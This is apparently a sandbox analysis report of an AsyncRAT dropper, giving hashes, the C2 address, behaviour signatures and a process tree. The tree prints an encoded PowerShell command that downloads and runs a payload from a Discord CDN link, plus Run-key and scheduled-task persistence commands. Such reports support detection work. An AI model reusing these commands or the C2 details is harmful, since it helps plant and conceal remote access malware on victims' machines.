Analysis
-
max time kernel
147s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
03-12-2022 23:13
Static task
static1
Behavioral task
behavioral1
Sample
rtyrryr.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
rtyrryr.exe
Resource
win10v2004-20220812-en
General
-
Target
rtyrryr.exe
-
Size
6KB
-
MD5
f853ede612b21de687500cd9892c37ad
-
SHA1
fbb1e62b890b50f1ab552cefb6a7b24db875fbb6
-
SHA256
e1178760d7690fdba91528ff2053a646c84774a721fa554fc94130bd50375ac0
-
SHA512
4de3e875a111cd90eda4c59d554d8eb4001d18e1f2fde173ba74f24a78decbe74e5327654bf30693943bc224f81c728686cd4c2650f36ed8ae47d60a0211c42b
-
SSDEEP
96:9xr79BTaCF5NTcM4tweWvk+PneJtNNtUqGsukdNx2d3oj+rl:9xX9FBFDT4qJvkwnEfNtUqGsukR2dZ
Malware Config
Extracted
asyncrat
0.5.7B
DefenderSmartScren
217.64.31.3:8437
DefenderSmartScren
-
delay
3
-
install
false
-
install_file
SecurityHealtheurvice.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4616-152-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 46 3976 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
tryrtytryrty.exepid process 1780 tryrtytryrty.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
rtyrryr.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation rtyrryr.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthService\\SecurityHealthService.exe" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
tryrtytryrty.exedescription pid process target process PID 1780 set thread context of 4616 1780 tryrtytryrty.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exetryrtytryrty.exepowershell.exepid process 3976 powershell.exe 3976 powershell.exe 1780 tryrtytryrty.exe 1780 tryrtytryrty.exe 1780 tryrtytryrty.exe 1780 tryrtytryrty.exe 3560 powershell.exe 3560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exetryrtytryrty.exepowershell.exedescription pid process Token: SeDebugPrivilege 3976 powershell.exe Token: SeDebugPrivilege 1780 tryrtytryrty.exe Token: SeDebugPrivilege 3560 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
rtyrryr.exepowershell.exetryrtytryrty.execmd.exedescription pid process target process PID 2140 wrote to memory of 3976 2140 rtyrryr.exe powershell.exe PID 2140 wrote to memory of 3976 2140 rtyrryr.exe powershell.exe PID 3976 wrote to memory of 1780 3976 powershell.exe tryrtytryrty.exe PID 3976 wrote to memory of 1780 3976 powershell.exe tryrtytryrty.exe PID 3976 wrote to memory of 1780 3976 powershell.exe tryrtytryrty.exe PID 1780 wrote to memory of 3560 1780 tryrtytryrty.exe powershell.exe PID 1780 wrote to memory of 3560 1780 tryrtytryrty.exe powershell.exe PID 1780 wrote to memory of 3560 1780 tryrtytryrty.exe powershell.exe PID 1780 wrote to memory of 744 1780 tryrtytryrty.exe cmd.exe PID 1780 wrote to memory of 744 1780 tryrtytryrty.exe cmd.exe PID 1780 wrote to memory of 744 1780 tryrtytryrty.exe cmd.exe PID 744 wrote to memory of 3368 744 cmd.exe schtasks.exe PID 744 wrote to memory of 3368 744 cmd.exe schtasks.exe PID 744 wrote to memory of 3368 744 cmd.exe schtasks.exe PID 1780 wrote to memory of 2204 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 2204 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 2204 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 2436 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 2436 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 2436 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe PID 1780 wrote to memory of 4616 1780 tryrtytryrty.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\rtyrryr.exe"C:\Users\Admin\AppData\Local\Temp\rtyrryr.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAbgBiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAyADQANwA3ADQAMQA3ADYANgA4ADgAMAA4ADcAOAA1AC8AMQAwADQAMgA0ADcANwA1ADUANAA4ADQANwA3ADEAOQA0ADQANAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGoAcABmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgB0AHAAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBkAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAByAHkAcgB0AHkAdAByAHkAcgB0AHkALgBlAHgAZQAnACkAKQA8ACMAZQBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcwBmAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG0AbQBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHQAcgB5AHIAdAB5AHQAcgB5AHIAdAB5AC4AZQB4AGUAJwApADwAIwBiAHcAdgAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\tryrtytryrty.exe"C:\Users\Admin\AppData\Roaming\tryrtytryrty.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService' -Value '"C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe"' -PropertyType 'String'4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD500e58f368649eca5caa1a16e72386a57
SHA11c5e0dc46d6bba4ddd8e3ce4e2aca83950434635
SHA256c4c309d45ade44494c6f586774623c99621a7cda17a743aa0ba82a23850ccba7
SHA51237bcc4171624838457d146b21157eb2771d94637a3b89f57ab2fcf9be10baff16ef9fc97cf77fb6bf9490806561be5c36c3ab52553cd57d9d872d26e89defaa0
-
C:\Users\Admin\AppData\Roaming\tryrtytryrty.exeFilesize
87KB
MD5ca699117112a173ca7b289f1baf6c3c0
SHA1862f227d4fa0b4de892006d7fe19e610e9f1a676
SHA256db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6
SHA512d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620
-
C:\Users\Admin\AppData\Roaming\tryrtytryrty.exeFilesize
87KB
MD5ca699117112a173ca7b289f1baf6c3c0
SHA1862f227d4fa0b4de892006d7fe19e610e9f1a676
SHA256db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6
SHA512d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620
-
memory/744-145-0x0000000000000000-mapping.dmp
-
memory/1780-138-0x0000000000000000-mapping.dmp
-
memory/1780-142-0x0000000000040000-0x000000000005C000-memory.dmpFilesize
112KB
-
memory/1780-143-0x0000000004D60000-0x0000000005304000-memory.dmpFilesize
5.6MB
-
memory/2140-132-0x00000000005D0000-0x00000000005D8000-memory.dmpFilesize
32KB
-
memory/2140-135-0x00007FFBC8BD0000-0x00007FFBC9691000-memory.dmpFilesize
10.8MB
-
memory/2204-148-0x0000000000000000-mapping.dmp
-
memory/2436-149-0x0000000000000000-mapping.dmp
-
memory/3368-146-0x0000000000000000-mapping.dmp
-
memory/3560-159-0x0000000072CE0000-0x0000000072D2C000-memory.dmpFilesize
304KB
-
memory/3560-163-0x00000000078E0000-0x00000000078EA000-memory.dmpFilesize
40KB
-
memory/3560-168-0x0000000007BD0000-0x0000000007BF2000-memory.dmpFilesize
136KB
-
memory/3560-147-0x0000000002BB0000-0x0000000002BE6000-memory.dmpFilesize
216KB
-
memory/3560-167-0x0000000007B90000-0x0000000007B98000-memory.dmpFilesize
32KB
-
memory/3560-150-0x0000000005670000-0x0000000005C98000-memory.dmpFilesize
6.2MB
-
memory/3560-166-0x0000000007BB0000-0x0000000007BCA000-memory.dmpFilesize
104KB
-
memory/3560-165-0x0000000007AA0000-0x0000000007AAE000-memory.dmpFilesize
56KB
-
memory/3560-164-0x0000000007AF0000-0x0000000007B86000-memory.dmpFilesize
600KB
-
memory/3560-153-0x0000000005250000-0x0000000005272000-memory.dmpFilesize
136KB
-
memory/3560-154-0x0000000005E90000-0x0000000005EF6000-memory.dmpFilesize
408KB
-
memory/3560-155-0x0000000005F00000-0x0000000005F66000-memory.dmpFilesize
408KB
-
memory/3560-144-0x0000000000000000-mapping.dmp
-
memory/3560-157-0x0000000005E00000-0x0000000005E1E000-memory.dmpFilesize
120KB
-
memory/3560-158-0x0000000006A90000-0x0000000006AC2000-memory.dmpFilesize
200KB
-
memory/3560-162-0x0000000007870000-0x000000000788A000-memory.dmpFilesize
104KB
-
memory/3560-160-0x0000000006A70000-0x0000000006A8E000-memory.dmpFilesize
120KB
-
memory/3560-161-0x0000000007EF0000-0x000000000856A000-memory.dmpFilesize
6.5MB
-
memory/3976-133-0x0000000000000000-mapping.dmp
-
memory/3976-134-0x000001B5B26E0000-0x000001B5B2702000-memory.dmpFilesize
136KB
-
memory/3976-136-0x00007FFBC8BD0000-0x00007FFBC9691000-memory.dmpFilesize
10.8MB
-
memory/3976-137-0x00007FFBC8BD0000-0x00007FFBC9691000-memory.dmpFilesize
10.8MB
-
memory/3976-140-0x00007FFBC8BD0000-0x00007FFBC9691000-memory.dmpFilesize
10.8MB
-
memory/4616-152-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4616-151-0x0000000000000000-mapping.dmp